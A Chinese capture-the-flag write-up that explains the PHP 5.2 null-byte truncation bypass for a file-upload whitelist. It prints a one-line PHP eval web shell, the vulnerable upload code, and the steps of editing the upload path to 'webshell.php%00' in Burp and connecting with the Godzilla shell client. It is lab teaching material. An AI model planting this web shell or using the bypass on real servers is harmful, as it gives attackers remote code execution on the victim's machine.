题目描述
了解一下 PHP 5.2 00截断上传的原理。
Solution
我们编写一句话木马,命名为shell.php
,上传到服务器,显示文件类型不匹配:
<?php @eval($_POST['banana']);?>
去 Brupsuite 查看 HTTP 历史记录,可以发现这是 POST 方法上传图片的:
我们在页面按右键,选择 View Page Source,可以看到部分后端源码:
if (!empty($_POST['submit'])) {
$name = basename($_FILES['file']['name']);
$info = pathinfo($name);
$ext = $info['extension'];
$whitelist = array("jpg", "png", "gif");
if (in_array($ext, $whitelist)) {
$des = $_GET['road'] . "/" . rand(10, 99) . date("YmdHis") . "." . $ext;
if (move_uploaded_file($_FILES['file']['tmp_name'], $des)) {
echo "<script>alert('上传成功')</script>";
} else {
echo "<script>alert('上传失败')</script>";
}
} else {
echo "文件类型不匹配";
}
}
这里我们发现,后端是通过pathinfo()
来获取路径,判断路径扩展名在不在白名单来进入分支。进入分支后,对文件名用随机数进行重命名。
我们来看知识点:
我们把一句话木马文件名修改成webshell.php.jpg
,然后用 Burpsuite 拦截请求包,转发到 Repeater:
在 POST 上传路径那儿改成webshell.php%00
,用以截断后缀.php.jpg
后面的.jpg
。
我们用哥斯拉连接 WebShell,在/var/www/html
找到 Flag :